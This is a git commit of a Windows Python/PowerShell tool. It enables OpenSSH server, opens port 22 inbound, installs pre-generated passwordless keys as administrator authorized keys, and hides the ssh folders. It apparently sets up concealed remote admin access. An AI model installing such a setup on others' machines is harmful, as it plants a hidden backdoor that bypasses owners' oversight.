This commit is contained in:
Samuel 2024-06-26 22:09:04 +01:00
commit ce03247fdc
11 changed files with 201 additions and 0 deletions

3
.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
.venv
data
**/__pycache__

14
src/main.py Normal file
View File

@ -0,0 +1,14 @@
import os
from powershell_tools import hide, admin
from ssh import setup
def main():
if not admin.check_admin():
raise ValueError
setup.configure_sshd()
hide.set_hidden(f"{os.environ["PROGRAMDATA"]}/ssh")
hide.set_hidden(f"{os.environ["USERPROFILE"]}/.ssh")
if __name__ == "__main__":
main()

View File

@ -0,0 +1,14 @@
import subprocess
def _set_admin_file(path) -> bool:
'''Grant full admin & system access to a path'''
ps_command = f"""
powershell
icacls {path}
/inheritance:r
/grant \"Administrators:F\"
/grant \"SYSTEM:F\"
"""
result = subprocess.run(ps_command, capture_output=True)
return not result.returncode

View File

@ -0,0 +1,12 @@
import subprocess
def check_admin() -> bool:
ps_command = """powershell
([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()
).IsInRole(
[Security.Principal.WindowsBuiltInRole]::Administrator
)""".replace("\n", ' ')
result = subprocess.run(ps_command, capture_output=True)
return 'True' in result.stdout.decode()

View File

@ -0,0 +1,8 @@
import subprocess
from pathlib import Path
def set_hidden(path: Path) -> bool:
ps_command = f"attrib +h {path}"
result = subprocess.run(ps_command, capture_output=True)
return not result.returncode

11
src/ssh/_write_authd.py Normal file
View File

@ -0,0 +1,11 @@
import os
import shutil
from powershell_tools._set_admin_file import _set_admin_file
def write_authorized_keys() -> None:
authorized_keys_path = f"{os.environ['PROGRAMDATA']}/ssh/administrator_authorized_keys"
shutil.copy('data/remote_keys/administrator_authorized_keys',
authorized_keys_path)
_set_admin_file(authorized_keys_path)

12
src/ssh/is_running.py Normal file
View File

@ -0,0 +1,12 @@
import subprocess
def is_running(process_name: str) -> bool:
"""Look through running tasks for 'ssh.exe'"""
cmd = "powershell tasklist /fo csv /nh"
output = subprocess.run(cmd, capture_output=True)
output = [[taskpart.strip("\"") for taskpart in task.split(
",")][0] for task in output.stdout.decode().split("\n")]
if process_name in output:
return True
return False

106
src/ssh/setup.py Normal file
View File

@ -0,0 +1,106 @@
import shutil
import subprocess
import os
from powershell_tools import _set_admin_file
def service_installed(service_name: str) -> bool:
"""Check installed services and compare to `service_name`"""
ps_command = f"""
powershell
Get-WindowsCapability -Online | ? Name -like {service_name}*
""".replace("\n", "")
result = subprocess.run(ps_command, capture_output=True)
if not result.returncode:
return "Installed".encode() in result.stdout
def install_autostart_service(service_name: str) -> bool:
"""Set service startuptype as automatic and start it"""
ps_command = f"""
powershell
Get-Service {service_name} |
Set-Service -StartupType Automatic -PassThru |
Start-Service
""".replace("\n", "")
result = subprocess.run(ps_command, capture_output=True)
return not result.returncode
def firewall_rule_exists(rule_name: str) -> bool:
"""Check firewall rules and compare entries against `rule_name`"""
ps_command = f"""
powershell
Get-NetFirewallRule -name {rule_name}
""".replace("\n", "")
result = subprocess.run(ps_command, capture_output=True)
return not result.returncode
def write_server_config():
"""Write sshd_config file, used for system ssh server daemon"""
config_path = f"{os.environ['PROGRAMDATA']}/ssh/"
shutil.copy('data/config/sshd_config', config_path)
return config_path
def write_client_config():
"""Write ssh client config, used for users ssh sessions"""
config_path = f"{os.environ['PROGRAMDATA']}/ssh/"
shutil.copy('data/config/client_config', config_path)
return config_path
def create_firewall_rule() -> bool:
try:
new_firewall_command = """
powershell
New-NetFirewallRule
-Name sshd
-DisplayName "OpenSSH Server (sshd)"
-Enabled True
-Direction Inbound
-Protocol TCP
-Action Allow
-LocalPort 22
""".replace("\n", "")
result = subprocess.run(new_firewall_command,
timeout=4, capture_output=True)
return not result.returncode
except subprocess.TimeoutExpired:
return False
def restart_service(service_name: str) -> bool:
ps_command = f"powershell restart-service {service_name}"
result = subprocess.run(ps_command, capture_output=True)
return not result.returncode
def write_private_key(path: str):
ps_command = f"ssh-add {path}"
subprocess.run(ps_command, capture_output=True)
def write_public_keys():
public_key_dir = f"{os.environ["PROGRAMDATA"]}/ssh/"
shutil.copy("./data/public_keys/administrator_authorized_keys",
public_key_dir)
_set_admin_file(f"{public_key_dir}administrator_authorized_keys")
def configure_sshd() -> None:
install_autostart_service("ssh-agent")
install_autostart_service("sshd")
if not firewall_rule_exists("sshd"):
create_firewall_rule()
write_server_config()
write_client_config()
write_public_keys()
for file in [fp for fp in os.listdir('./data/local_keys') if not fp.endswith(".pub")]:
write_private_key(file)
restart_service("sshd")

4
tools/Cleanup Normal file
View File

@ -0,0 +1,4 @@
Get-WindowsCapability -Online | ? Name -like sshd*
Get-WindowsCapability -Online | ? Name -like ssh-agent*
Remove-NetFirewallRule -Name "sshd"

0
tools/build Normal file
View File

17
tools/make_ssh_keys Normal file
View File

@ -0,0 +1,17 @@
mkdir .\data
mkdir .\data\local_keys
mkdir .\data\remote_keys
del ./data/remote_keys/administrator_authorized_keys
del ./data/local_keys/*
del ./data/remote_keys/*
for ($i=0; $i -lt 10; $i++){
ssh-keygen -f ./data/local_keys/id_ecdsa_$i -t ecdsa -b 256 -q -N "''" -C "local_key"
(Get-Content -Raw -Encoding Default "./data/remote_keys/id_ecdsa_$i") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/remote_keys/id_ecdsa_$i"
(Get-Content -Raw -Encoding Default "./data/remote_keys/id_ecdsa_$i.pub") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/remote_keys/id_ecdsa_$i.pub"
ssh-keygen -f ./data/remote_keys/id_ecdsa_$i -t ecdsa -b 256 -q -N "''" -C "remote_key"
(Get-Content -Raw -Encoding Default "./data/local_keys/id_ecdsa_$i") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/local_keys/id_ecdsa_$i"
(Get-Content -Raw -Encoding Default "./data/local_keys/id_ecdsa_$i.pub") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/local_keys/id_ecdsa_$i.pub"
cat ./data/remote_keys/id_ecdsa_$i.pub >> ./data/remote_keys/administrator_authorized_keys
(Get-Content -Raw -Encoding Default "./data/remote_keys/administrator_authorized_keys") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/remote_keys/administrator_authorized_keys"
del ./data/remote_keys/*.pub
}